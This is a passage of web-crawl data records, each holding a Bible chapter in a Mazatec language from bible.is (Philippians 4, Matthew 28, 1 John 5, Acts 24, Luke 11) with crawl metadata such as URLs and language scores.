xi ya̱ títsa̱jna. Jñà xi̱ta̱ 'ndseé xi i̱ títsa̱jnako̱‑na, ti̱koa̱á nchisíhixat'aà‑nò. 22Ngats'iì xi̱ta̱‑la̱ Cristo síhixat'aà‑nò. Jñà nchisíhixat'aà ítjòn‑nò xi títsa̱jna ni'ya‑la̱ César xi xi̱ta̱xá ítjòn ts'e̱ Roma. 23Ngats'ioò, jè kàtìjnako̱‑nò kjo̱ndaà‑la̱ Jesucristo xi otíxoma‑ná. K'oa̱s'ín kàtama.\nFilipenses 4","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Phil\/4","date":"2013-12-11T17:21:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164040135\/warc\/CC-MAIN-20131204133400-00054-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000075102,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.0000075101852417}","num_words":553,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.293,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1K'e̱ nga jye tsato na̱chrjein nìkjáya, nga jye tís'e i̱sén jè na̱chrjein tahàngo̱ nga tàts'en xomàna̱, kiì María Magdalena ko̱ María xi ìjngoò nga kiì katsejèn‑la̱ i̱tsjó‑la̱ ñánda kisìhijiìn Jesús. 2K'e̱ nga itjokàjen jngoò àkja̱le̱‑la̱ Nainá xi inchrobà‑ne ngajmiì, tà ni̱to̱ón ts'a jngoò ch'ón xi 'ñó ts'a nga jaàxìn jè nda̱jo̱ xi kijtsa nga̱jo̱ i̱tsjó; ya̱á tsibìjnasòn. 3Jè àkja̱le̱ ote kji koni jngoò ni'ín ch'o̱n; ko̱ jè nikje‑la̱ xi íkjá, chroba kji koni kjoàn 'nchán. 4Jñà soldado k'e̱ nga kijtseè, tsí ndaà kitsakjòn‑la̱. Tsí chi̱ba̱‑la̱ tsatsé‑né koa̱ ya̱á k'en‑ña. 5Jè àkja̱le̱ kitsò‑la̱ jñà íchjín: ―Kì tsakjoòn‑jèn. Be‑ná, jè binchaàtsjioò Jesús xi kisit'aà krò. 6Mì ti̱ i̱í tíjna‑ne. Jyeé kòfaáya‑la̱ koni s'ín kitsò nga kjoa̱áya‑la̱. Nchrobá chìtsejèn‑là i̱'nde‑la̱ ñánda kisijna. 7Ni̱to̱ón tanguió, koa̱tìn‑là xi̱ta̱ xi kota'yàt'aà‑la̱: \"Jyeé kòfaáya‑la̱. Jè, ya̱á tífì ítjòn‑nò ján Galilea. Ya̱á jcha̱xkoòn ìjngoò k'a.\" Ta̱ k'oa̱á tjín 'én xi tsja‑nò. 8Jñà íchjín ni̱to̱ón itjongui‑ne nguijo; kiì tsangachikon; o̱kji tsakjón koa̱ o̱kji 'ñó tsja s'e‑la̱ nga kiì kéno̱jmí‑la̱ xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús. 9K'e̱ nga nchifì íchjín, tà ni̱to̱ón kisatiìkjoò Jesús koa̱ kisìhixat'aà. Jñà íchjín, kiì kinchat'aà chrañà‑la̱, i̱kjoàn chincha-xkó'nchit'aà‑la̱ nga kijtseèxkón, k'e̱é kitsohòkjá ndso̱ko̱. 10Jesús kitsò‑la̱: ―Kì tsakjoòn‑jèn. Tanguió ti̱kí'nchré jñà 'ndsè mé‑ne nga kàtjì‑ne ján Galilea. Ya̱á skoe̱ ìjngoò k'a‑na. 11K'e̱ nga nchifì‑ne jñà íchjín, ti̱koa̱á kiì i'nga‑ne jñà soldado xi kisìkinda̱ jé i̱tsjó; kiì ján jngoò osen na̱xa̱ndá nga kiì kéno̱jmí‑la̱ jñà xi̱ta̱ sko̱‑la̱ no̱'miì ngats'iì kjoa̱ xi komà. 12Jñà xi̱ta̱ sko̱‑la̱ no̱'miì kiìkáko̱ jñà xi̱ta̱ jchínga. K'e̱ nga jye tsajoóya‑ne, tseé to̱n kitsjaà‑la̱ jñà soldado, 13i̱kjoàn kitsò‑la̱: ―Jñò, k'oa̱á tixón: \"K'e̱ nga ijchò osen ni̱tje̱n nga titsa̱yijòfè‑je̱n, jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús ijchòkjaá chijé yijo‑la̱.\" 14Tsà kji̱'nchré jè xi̱ta̱xá gobernador nga titsa̱yijòfè, ngaje̱én onguíchoòn‑je̱n mé‑ne nga mì kjo̱'in tsjá‑nò. 15Jñà soldado kiskoé to̱n xi kitsjaà‑la̱ ko̱ k'oa̱á s'ín kitsò koni s'ín ki'mì‑la̱. Skanda na̱chrjein i̱'ndei̱ tákó k'oa̱á tsò jñà xi̱ta̱ judío. 16Jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús xi nguì tejngoò ma‑ne, kiì ján Galilea ya̱ nindoò ñánda nga o̱kitsò‑la̱ Jesús. 17K'e̱ nga kijtseè Jesús, chincha-xkó'nchit'aà‑la̱ nga kijtseèxkón. Ta̱nga tjín i'nga xi mìkiì kòkjeiín‑la̱ tsà jè‑né. 18Jesús, k'e̱é kiì kasìt'aà chrañà‑la̱, kitsò‑la̱: ―Jyeé kitjoé yije‑na nga'ñó nga 'a̱n kotiìxoma ngajmiì ko̱ i̱ i̱sò'nde. 19Tanguíchòn yije xi̱ta̱ xi tjín nga tíjtsa na̱xa̱ndá xi tjín i̱sò'nde; ta̱kóya‑là nga i̱t'aà ts'a̱n kàtakota'yà; t'e̱en bautizar i̱t'aà ts'e̱ 'ín‑la̱ Na̱'èn‑ná ko̱ ts'e̱ Ki'ndí‑la̱ koa̱ ko̱ ts'e̱ Ini̱ma̱ Tsjeè‑la̱ Nainá; 20ta̱kóya‑là nga kàtasíkitasòn yije kjoa̱ xi 'a̱n tsakoòya‑nò. Kì nìjchàajiìn‑jèn nga 'a̱án tìjna̱ko̱‑nò na̱chrjein inchijòn skanda k'e̱ nga kjoe̱het'aà i̱sò'nde. K'oa̱á s'ín kàtama.\nSan Mateo 28","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Matt\/28","date":"2013-12-09T06:59:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163930735\/warc\/CC-MAIN-20131204133210-00079-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000060797,"language_script":"Latn","minhash_cluster_size":27,"top_langs":"{\"maa_Latn_score\": 1.000006079673767}","num_words":412,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.267,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ijyeé i̱xti‑la̱ Nainá‑ní nga'tsì xi̱ta̱ ra ngi ko̱ inìma̱‑la̱ makjiín‑la̱ nga jè Jesús, [jé‑ní ra Nainá isìkasén], jé‑ní ra Cristo. Ko̱ nga'tsì xi̱ta̱ ra tsjake ra na̱'ìn tíjna‑la̱, tjínè‑la̱ nga ti̱'koa̱á ko̱tsjake nga'tsì i̱xti‑la̱ na̱'ìn‑la̱. 2'Kia̱ nga matsjacheé Nainá, ko̱ ti̱'koa̱ nihitjasén kjo̱téxoma‑la̱, 'ya‑ná nga ti̱'koa̱á i̱nchimatsjachaá‑teé jñà ra i̱xti‑la̱ Nainá ma. 3Ki̱í 'sín tjín tsa kixi̱ kjoa̱ nga matsjacheé Nainá, jè‑ní nga nda si̱hitjasén kjo̱téxoma‑la̱. Ko̱ jè kjo̱téxoma‑la̱, mì tsa 'ñó i'in bitjasòn‑ni. 4Nga̱ nga'tsì xi̱ta̱ ra i̱xti‑la̱ Nainá ma, síkijneé‑la̱ nga'tsì kjoa̱'cho ra tjín ya̱ i̱sà'nde. Kií ma nikijne‑ilá kjoa̱ ra tjín ya̱ i̱sà'nde tà nga̱tjì‑la̱ nga̱ ya̱á makjiín‑ná ra a̱'ta 'tse̱ Cristo. 5Ni̱yá ra ma si̱ìkijne‑la̱ jè kjoa̱'cho ra tjín ya̱ i̱sà'nde, ta̱jngoó‑ní jè xi̱ta̱ ra makjiín‑la̱ a̱'ta 'tse̱ Jesús, nga jè‑ní ra I'ndí‑la̱ Nainá ma. Jè‑ní ra chíkjoa̱‑la̱ nga síkijne. 6Jé‑ní Jesucristo ra 'ji i̱ i̱sà'nde. Ko̱ 'kia̱ nga 'ji, jé nandá ko̱ jní ra nda tsakón. Ko̱ mì tsa tà jè nandá ra tsakón, ko̱ó‑te jè jní. Ko̱ jé Inìma̱ Tsje‑la̱ Nainá ra 'béna̱jmí kixi̱ yá‑ni ra jè. Nga̱ jè Inìma̱ Tsje‑la̱ Nainá, ngi kjoa̱kixi̱‑ní ra jè. 7Ko̱ jàn ma‑ni ra ngi tsjá kixi̱ 'én‑la̱ ra a̱'ta 'tse̱ kjoa̱ kìi̱: 8Jè Inìma̱ Tsje‑la̱ Nainá, jè nandá, ko̱ jè jní. Ko̱ ngajàn kìi̱, ngásòn tsò. 9Tsa makjiín‑ná jñà 'én ra tsjá ra xi̱ta̱ i̱sà'nde, machjeén‑ní nga isa̱ nda ko̱kjiín‑ná 'én ra jè saba Nainá títsjá. Nga̱ jè 'én ra títsjá, jé tí'béna̱jmí yá kjòn‑ni ra I'ndí‑la̱. 10Jè ra ngi ko̱ inìma̱‑la̱ makjiín‑la̱ a̱'ta 'tse̱ I'ndí‑la̱ Nainá, ya̱á tjíjin inìma̱‑la̱ nga kixi̱í kjoa̱ 'én ra tsjá Nainá. Tanga jè ra mì kì makjiín‑la̱ a̱'ta 'tse̱ Nainá, jé Nainá, ndiso tíbachrjengi, ta nga̱tjì‑la̱ nga mì kì makjiín‑la̱ jè 'én ra tsjá Nainá ra a̱'ta 'tse̱ I'ndí‑la̱. 11Jè 'én ra kitsjà Nainá, jè‑ní nga jè Nainá tsjá‑ná kjo̱binachon ra mì fehe'ta ni̱ta kjiá‑nioo̱. Ko̱ jè kjo̱binachon ra̱kìi̱, ya̱á sakó‑ná ra a̱'ta 'tse̱ I'ndí‑la̱. 12Jè xi̱ta̱ ra I'ndí‑la̱ Nainá tíjnajin ya̱ inìma̱‑la̱, tjín‑la̱ kjo̱binachon ra mì fehe'ta ni̱ta kjiá‑nioo̱; tanga jè xi̱ta̱ ra mì tsa I'ndí‑la̱ Nainá tíjnajin inìma̱‑la̱, tsìn‑la̱ kjo̱binachon ra̱kìi̱. 13Jiòn ra makjiín‑no a̱'ta 'tse̱ I'ndí‑la̱ Nainá, kií xá tíbindá‑no jè xa̱jo̱n ra̱kìi̱ mé‑ni nga nda katasijin‑no nga ijyeé tjín‑no kjo̱binachon ra mì kì fehe'ta skanda ta mé ni̱chjin‑ni. 14'Koa̱á 'sín ma‑ni nga 'ñó tjín takén 'kia̱ nga nakjoá'ta‑lá Nainá. 'Koa̱á 'sín nda kji̱'nchré‑ná tsa ko̱'sín si̱jé'tá‑lá koni 'sín nga sasén‑la̱ ra jè. 15Tsa ijye ko̱'sín tjíjin‑ná nga Nainá 'nchré‑ná 'kia̱ nga tsa mé ra níjé‑lá, ti̱'koa̱á ijyeé 'ya‑ná nga ti̱'kia̱á ko̱'tsia̱‑ni nga tsjá‑ná 'kia̱ nga ko̱'sín si̱jé‑lá. 16Tsa yá xi̱ta̱ ra ske̱ jngo xi̱ta̱ xákjén ra ti̱'koa̱ a̱'ta 'tse̱ Cristo makjiín‑la̱ nga ya̱ tíkajin jñà jé ra mì tsa kjo̱biya fìko̱‑ná, maá katabítsa'batjì, ko̱ jè Nainá tsjá‑la̱ kjo̱binachon jè xi̱ta̱ ra tíbátsji‑jé. Tanga tà jñá‑ní ra ko̱xin‑la̱ nga ma si̱tsa'batjì jñà xi̱ta̱ ra mì tsa ngi kjo̱biya kji'ta‑la̱ jñà jé ra i̱nchibátsji. Nga̱ tjín jé ra kjo̱biya fìko̱‑ná, ko̱ 'koa̱á 'sín xiaa̱n nga mì tsa machjeén nga si̱tsa'batjì jè xi̱ta̱ ra ko̱tjín jé ra tíbátsji. 17Tanga nga'tsì kjoa̱'cho ra 'sín xi̱ta̱, saba jé‑ni ya̱ ngixko̱n Nainá. Tanga tjín‑ní jñà jé ra mì tsa kjo̱biya fìko̱‑ná. 18Ijyeé tjíjin‑ná nga jñà ra i̱xti‑la̱ Nainá ma, mì tsa ti̱ ya̱ tjítsa̱jin‑ni jé, nga̱ jé Jesús ra I'ndí‑la̱ Nainá ma, tjíkinda̱‑la̱, ko̱ jè xi̱ta̱‑ni̱í, mì kì ti̱ mé ma 'cho síko̱‑ni. 19Ijyeé 'ya‑ná nga i̱xti‑la̱ Nainá 'mí‑ná ra jién; tanga jñà xi̱ta̱ ra mì kì makjiín‑la̱ a̱'ta 'tse̱ Cristo ra tjín nga tjíjtsa i̱sà'nde, jè xi̱ta̱‑ni̱í tíbatéxoma‑la̱. 20Ti̱'koa̱á 'ya‑ná nga kií xá 'ji‑ni jè I'ndí‑la̱ Nainá i̱ a̱'ta nangi nga jè nda isìchi̱ya‑ná mé‑ni nga ma 'yaxkeén ra ngi jè saba kjón‑ni Nainá. Ko̱ ya̱á titsa̱jnake̱é jè ra ngi jè saba Nainá tà nga̱tjì‑la̱ nga ya̱ titsa̱jnake̱é Jesucristo ra I'ndí‑la̱ ma, ra ti̱jé saba‑ni Nainá ko̱ ra ma‑la̱ tsjá‑ná kjo̱binachon ra mì fehe'ta ni̱ta kjiá‑nioo̱. 21Jiòn ra ndí i̱xti xin‑no, kì jñá mangítji̱ngi‑la jñà nainá ra bexkón xi̱ta̱ ra mì tsa kixi̱‑ni kjoa̱ nga Nainá.\n1 Juan 5","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/1John\/5","date":"2013-12-11T17:32:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164040135\/warc\/CC-MAIN-20131204133400-00061-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000097751617432}","num_words":655,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.388,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1K'e̱ nga komà 'òn na̱chrjein, ijchò Ananías ya̱ Cesarea xi xi̱ta̱ sko̱‑la̱ no̱'miì. Tji̱ko̱ i'nga xi̱ta̱ jchínga xi xá tjín‑la̱ ts'e̱ xi̱ta̱ judío ti̱koa̱ tji̱ko̱ jngoò xi̱ta̱ xi 'mì Tértulo xi chji̱ne̱ xo̱jo̱n ts'e̱ kjo̱tíxoma. Jñà xi̱ta̱ koi kiìkon Félix jè xi xi̱ta̱xá ítjòn tíjna nga kitsjaàt'in 'én xi kondra̱ ts'e̱ Pablo. 2K'e̱ nga jye ijchòko̱ Pablo nguixko̱n xi̱ta̱xá, tsibíts'ia̱ Tértulo nga kitsjaàt'in 'én xi kondra̱ ts'e̱ Pablo; kitsò‑la̱ Félix: ―Ngaji̱ xi xi̱ta̱xá ítjòn tijni, ndaà yaxkón‑lèje̱n. Nga i̱t'aà tsi̱ji, 'ñó tísakó‑naje̱n kjoa̱'nchán. Ndaà xá xi tíbitasòn i̱ na̱xa̱ndá‑na̱je̱n xi kjoa̱ chji̱ne̱ tsi̱ji. 3Kjit'aà na̱chrjein, kóho̱kji ñánda titsa̱jna‑je̱n tjoé‑naje̱n kjo̱ndaà tsi̱ji. Ndaà chjí‑lè nga k'oa̱s'ín nìchját'aà‑náje̱n. 4Majìn‑naje̱n nga siì s'e̱n‑lèje̱n; tjín‑lè kjo̱ndaà, ti̱ná'ya i̱tsé‑náje̱n. 5K'oa̱á s'ín ki'ya‑je̱n xi̱ta̱ jè nga tíjtsa i̱sò'nde 'ñó ch'o tjín kjoa̱ xi ótsji nga síjòya xi̱ta̱ judío; jè‑né xi xi̱ta̱ ítjòn‑la̱ xi̱ta̱ Nazaret xi síkjatjìya ndi̱yá‑la̱ Nainá. 6Ti̱koa̱á mejèn‑la̱ ch'o kisìtjé I̱ngo̱ Tsjeè‑la̱ Nainá, k'oa̱á ma‑ne nga kindobà'ñó‑je̱n. [Mejèn k'oa̱s'ín si̱ko̱‑je̱n koni s'ín tíchja̱ kjo̱tíxoma tsa̱je̱n, 7ta̱nga jè Lisias xi xi̱ta̱ sko̱‑la̱ soldado tsasìko̱. Ko̱ó kjoa̱ts'e̱n tsafaá'an‑naje̱n k'e̱ nga jye tíjnaya ndsa̱a‑je̱n. 8Ko̱ k'oa̱á kitsò Lisias nga jñà xi̱ta̱ xi óngui, i̱í kjoi̱í nguixkoiìn nga si̱ndaàjiìn.] Ko̱maá ngaji̱ sobà chjinangui‑la̱ mé‑ne nga jcha̱‑ne mé kjoa̱ xi tjín‑la̱ nga ongui‑je̱n. 9Jñà xi̱ta̱ judío xi ya̱ títsa̱jna, ti̱koa̱á síngásòn 'én nga kixi̱ kjoa̱. 10Jè xi̱ta̱xá ítjòn kiskímiìtje̱n tsja nga kitsjaà'nde‑la̱ Pablo nga kiìchja̱. Pablo kitsò: ―Ji̱ xi xi̱ta̱xá ítjòn tijni, tíjiìn‑na nga kò kjìn nó tìnìkitasoìn xá i̱ i̱'nde jè; k'oa̱á ma‑ne nga ko̱ kjo̱tsja‑na̱, ti̱'a̱n kichjàtjì‑na yijo‑na̱. 11Ngaji̱, ko̱maá ki̱nchátsjiyi. 'A̱n, sa̱á tjín‑la̱ tejò na̱chrjein nga kiaà Jerusalén ya̱ i̱ngo̱ ítjòn nga kijtseèxkoán Nainá. 12Ni̱ sa̱á jngoò k'a 'ya‑na nga xi̱ta̱ otìkjoòkoa̱a, ti̱koa̱á mì xi̱ta̱ na̱xa̱ndá binchaà'a ya̱ ndi̱tsin i̱ngo̱ ítjòn, ko̱ ni'ya i̱ngo̱ sinagoga, ko̱ ya̱ i̱jiìn na̱xa̱ndá. 13Jñà xi̱ta̱ xi óngui‑na mìkiì ko̱ma ko̱kixi̱ya‑la̱ kjoa̱ xi ónè‑na. 14K'oa̱á xán‑lè xi nguì kixi̱ kjoa̱, 'a̱n, jè sìkitasòn‑la̱ xi Nainá tsò‑la̱ xi̱ta̱ jchínga‑naje̱n; k'oa̱á s'ín sìkitasoàn koni s'ín tjín jè ndi̱yá xi̱tse̱‑la̱ Cristo, jè xi tsò‑la̱ jñà xi̱ta̱ koi nga ndi̱yá xìn‑la̱ Nainá‑né. 'A̱n, mokjeiín yije‑na koni s'ín tíchja̱ xo̱jo̱n ts'e̱ kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés ko̱ ts'e̱ xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá. 15'A̱n, k'oa̱á ti̱s'ín mokjeiín‑na i̱t'aà ts'e̱ Nainá koni s'ín mokjeiín‑la̱ jñà xi̱ta̱ xi óngui‑na nga faáya‑la̱ xi̱ta̱ xi biyaà, jñà xi xi̱ta̱ kixi̱ ko̱ xi mìtsà xi̱ta̱ kixi̱. 16Koií k'oa̱s'ín bìnè‑la̱ yijo‑na̱ nga tsjeè síkíjna kjo̱hítsjeèn‑na̱ nguixko̱n Nainá ko̱ nguixko̱n xi̱ta̱. 17'Nga jye kò kjìn nó mì ti̱ kiì f'i̱‑na na̱xa̱ndá‑na̱ Jerusalén, j'i̱í ìjngoò k'a‑na nga j'ìko̱‑la̱ to̱n jñà xi̱ta̱ i̱ma̱ ko̱ kitsjaà‑la̱ kjo̱tjò Nainá. 18K'oa̱á tjín kjoa̱ xi tìs'iaàn k'e̱ nga jye kisìtsjeèya yijo‑na̱ koni tjín kjo̱tíxoma‑la̱ xi̱ta̱ judío. K'e̱ nga kijtseè‑na jñà xi̱ta̱ judío xi Asia i̱'nde‑la̱ nga ya̱ tìjna̱a ya̱ ndi̱tsin i̱ngo̱, mìtsà kjìn ma xi̱ta̱ xi títsa̱jnako̱‑na. Ti̱koa̱á mìtsà kjoa̱siì tìbìts'ia̱a. 19Jñà xi̱ta̱ xi kijtseè‑na ya̱ ndi̱tsin i̱ngo̱, tsà mé kjoa̱ xi tjín‑la̱ xi kondra̱ ts'a̱n, jñà sabá kàtjanchrobá nga kàtatsjá 'én. 20Tsà majìn, jñà xi̱ta̱ xi i̱ títsa̱jna kàtèno̱jmí tsà mé jé kisakòt'aà‑la̱ i̱t'aà ts'a̱n k'e̱ nga tsohóti̱jna nguixko̱n xi̱ta̱xá judío. 21A xi koií jé xi tíma‑na nga 'ñó kichjà k'e̱ nga tìjna̱jiìn‑la̱ xi̱ta̱xá judío nga kixan‑la̱: \"Na̱chrjein i̱'ndei̱ tísindaàjiìn‑na nga mokjeiín‑na nga faáya‑la̱ xi̱ta̱ xi biyaà.\" 22Jè Félix, ndaà tíjiìn‑la̱ koni s'ín tjín ndi̱yá xi̱tse̱ ts'e̱ Jesucristo. Tsibíchróbá kjoa̱ koi. Kitsò: ―K'e̱ nga kjoi̱í Lisias xi xi̱ta̱ sko̱‑la̱ soldado, k'e̱é skònangui‑ìsa̱‑nò kjoa̱ xi tjín‑nò. 23Félix kitsjaà‑la̱ o̱kixi̱ jñà soldado‑la̱ nga si̱ìkíjna ìsa̱ nda̱yá Pablo, ta̱nga ko̱maá ko̱jmeèndei̱í ya̱ i̱ya nda̱yá, ti̱koa̱á ko̱maá ki̱jchòkon xi̱ta̱ xíkjín ko̱ amigo‑la̱. 24K'e̱ nga komà jàn ñijòn na̱chrjein, ijchò ìjngoò k'a Félix; tji̱ko̱ Drusila xi chjo̱ón‑la̱ ma xi ti̱koa̱ xi̱ta̱ judío. Kiskinìkjaá Pablo nga mejèn‑la̱ kji̱'nchré‑la̱ kós'ín mokjeiín‑la̱ i̱t'aà ts'e̱ Na̱'èn‑ná Jesucristo. 25Pablo, tsibéno̱jmí‑la̱ kós'ín tjín xi kjoa̱ kixi̱, mé xi s'e̱én nga kíkjoán‑lá kjoa̱ xi ch'o tjín xi síjé yijo‑ná; ti̱koa̱ tsibéno̱jmí‑la̱ nga sa̱ nchrobá na̱chrjein nga Nainá ki̱ìndaàjiìn. Félix tà kitsakjòn‑né; k'e̱é kitsò‑la̱: ―T'in‑ne. Kj'ei̱í na̱chrjein kichjà ìjngoò k'a‑lè k'e̱ nga ko̱'a‑na. 26Jè Félix, k'oa̱á s'ín tísíkítsjeèn, mejèn‑la̱ to̱n ko̱chrjekájno‑la̱ Pablo nga si̱ìkíjnandei̱í; k'oa̱á ma‑ne nga kjìn k'a kiìchja̱‑la̱. 27K'e̱ nga tsato jò nó, jahatjìya xá‑la̱ Félix. Jè jahas'en xi 'mì Porcio Festo. Jè Félix, mejèn‑la̱ nga ndaà tsibìjnako̱ jñà xi̱ta̱ judío; kisìkíjna ìsa̱ nda̱yá Pablo.\nHechos 24","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Acts\/24","date":"2013-12-11T13:13:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164036653\/warc\/CC-MAIN-20131204133356-00054-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000035763,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"maa_Latn_score\": 1.0000035762786865}","num_words":697,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.308,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1India tíjna jngo i̱'nde Jesús nga tíchja̱'ta‑la̱ Nainá; 'kia̱ nga ijye kjomà, jngo xi̱ta̱ ra ya̱ kotá'yá'ta‑la̱ kitsò‑la̱: ―Na̱'ìn, ta̱kón‑ya‑náji̱n kó'sín ki̱nákjoa̱'ta‑la̱ji̱n Nainá, koni 'sín ki'sìn Juan nga tsakón‑ya‑la̱ xi̱ta̱‑la̱. 2Jesús kitsó‑la̱: ―'Kia̱ nga kítsa'ba‑la jiòn, ki̱í 'sín kixó jiòn: Na̱'ìn ra tijni ngajmi, kata'yaxkón‑li nga tsje tijni. Katanchrabá kjo̱téxoma‑li. Ko̱'sín katama i̱ a̱'ta nangi koni 'sín mejèn‑li nga ko̱ma, koni 'sín ma ya̱ ján ngajmi. 3'Ti̱ ki'ta‑náji̱n ni̱ño̱ ra machjeén‑naji̱n nga ni̱chjin nchijòn. 4Ti̱jchaà'tá‑náji̱n jè jé ra tjín‑naji̱n, koni 'sín niìjchaà'ta‑la̱ji̱n nga'tsì xi̱ta̱ ra 'cho síko̱‑naji̱n. Kì tà chjàn bi'ndì nga yá ra sko̱ó'ta‑naji̱n nga mejèn‑la̱ kjótsji-jé‑ji̱n. 5Jesús kitsó‑isa‑la̱: ―Jiòn, tsa tjín jngo‑no xi̱ta̱ ra nda báko̱‑no, tsa masen ni̱tje̱n kohíjchon, tsa 'kín‑la: \"Ji̱ ndse, jàn ni̱ño̱ nchra̱jín‑li ti̱kìña‑ná, 6jngo xi̱ta̱ ra nda báko̱‑na ka'fiíjkon‑na ko̱ tsìn‑na mé ra tsja‑la̱.\" 7Tsa jè amigo ra tíjna a̱ya ni'ya, tsa ki̱tso̱‑no: \"Kì 'a̱n nìjti‑ná. Jè xo̱tjo̱ba̱ ni'ya ijyeé tjíchjàjto‑ní. Jñà ndí i̱xti‑na̱ ko̱ 'a̱n ijyeé 'ndi̱í itsjahijyo‑ji̱n. Mì kì ko̱ma kósi̱tje̱n nga tsja‑la tsajmì ra machjeén‑li.\" 8'Koa̱á xín‑no, tsa kií ni̱chjin mì kì tsjá‑najiòn mé ra si̱jé‑la ni̱'sín‑la nda chibà, tanga chaán ko̱sítje̱n nga ta majìn‑la̱ si̱jti‑isa‑la. Tsjá ijyeé‑no mé ra mejèn‑no. 9''Koa̱á xin‑no: Ti̱jé'tà‑la Nainá, tsjá‑no mé ra si̱jé; tjatsjio Nainá, sa̱kó‑no; ti̱kjane xo̱tjo̱ba̱ ni'ya ñánda̱ tíjna Nainá, tjá'xa̱á‑no. 10Nga'tsì xi̱ta̱ ra si̱ìjé, 'ki̱í‑la̱; jè ra bátsji, sakó‑la̱; jè ra síkjane xo̱tjo̱ba̱ ni'ya, tjá'xa̱á‑la̱. 11'¿A tjín i'ka jiòn ra na̱'ìn 'mì‑no [ra na̱jo̱ 'ki̱‑la i'ndí‑no tsa 'kia̱ ni̱ño̱ nchra̱jín síjé‑no? ¿A mí tsa ni̱ño̱ nchra̱jín 'ki̱‑la?] Ko̱, ¿a ye̱é 'ki̱‑la tsa 'kia̱ ti̱ síjé‑no? ¿A mí tsa ti̱ 'ki̱‑la? 12Tsa chjo̱ó síjé‑no, ¿a cho̱ na'yá 'ki̱‑la? ¿A mí tsa chjo̱ó 'ki̱‑la? 'Koa̱á tixó jiòn‑ni̱. 13Jiòn, ni̱'sín xi̱ta̱ 'cho kjòn jiòn, maá‑no 'bì‑la i̱xti‑no tsajmì ra nda. Jè Na̱'ìn‑no ra tíjna ngajmi, isa̱á ta ndi̱to̱n si̱ìsin‑no nga tsjá‑no jè Inìma̱ Tsje‑la̱, tsa jiòn ra si̱jé'ta‑la. 14Jesús, jngo inìma̱ 'cho‑la̱ ni̱í tíbachrjekàjin ijo‑la̱ xi̱ta̱ ra mì kì ma chja̱. 'Kia̱ nga ijye itjokàjin jè inìma̱ 'cho‑la̱ ni̱í ijo‑la̱ xi̱ta̱ ra̱kìi̱, maá kiìchja̱‑ni. Jñà xi̱ta̱ ra i̱nchikotsíjen, tà kjóxkón‑la̱. 15Kitsò i'ka xi̱ta̱: ―Jè xi̱ta̱‑ni̱í ítjòn ra 'mì Beelzebú, jè ra tíjna ítjòn‑la̱ nga'tsì inìma̱ 'cho‑la̱ ni̱í, jé tsjá‑la̱ nga'ñó nga ko̱'sín ma‑la̱ bachrjekàjin inìma̱ 'cho‑la̱ ni̱í ra tjíjin ya̱ inìma̱‑la̱ xi̱ta̱. 16Ko̱ tjín i'ka xi̱ta̱ ra ta mejèn‑la̱ sko̱ó'ta, [a kixi̱í kjoa̱ nga jè Jesús a̱'ta 'tse̱ Nainá nchrabá‑ni]. Isíjé‑la̱ nga katakón jngo kjo̱xkón ra ngajmi nchrabá‑ni. 17Jesús, ti̱'kia̱á kijtse koni 'sín i̱nchisíkítsjen xi̱ta̱ kìi̱, kitsó‑la̱: ―Nga'tsì i̱'nde ñánda̱ nga batéxoma jngo xi̱ta̱xá tsa jòya tjín nga ti̱jñà kjaán‑kjo‑ni xi̱ta̱‑la̱, si̱ikjehesón xákjién; ko̱ tsa jngo ni'ya ñánda̱ títsa̱jna xi̱ta̱, tsa jòya tjín nga ti̱jñà kjaán‑kjo‑ni, kje̱hesko‑ní. 18Ko̱ ti̱'koa̱á jè xi̱ta̱‑ni̱í, tsa ti̱jé tíkjaán‑ko̱‑ni ijo‑la̱, ¿kó'sín ko̱ma‑ni nga ma ko̱tèxoma‑isa? Kií ko̱'sín tíxin‑no, nga̱ jiòn, 'koa̱á 'sín bixó nga jè nga'ñó‑la̱ xi̱ta̱‑ni̱í ra tíjna ítjòn sichjée̱n ra 'a̱n 'kia̱ nga bachrjèkàjiaa̱n jñà inìma̱ 'cho‑la̱ ni̱í ra tjíjin ya̱ ijo‑la̱ xi̱ta̱. 19Tanga, tsa ko̱'sín tjín, jñà xi̱ta̱ tsa̱jiòn, ¿yá 'tse̱ nga'ñó ra síchjeén 'kia̱ nga ko̱'sín 'sín‑te? 'Koa̱á ma‑ni, ti̱jñà‑ni xi̱ta̱ 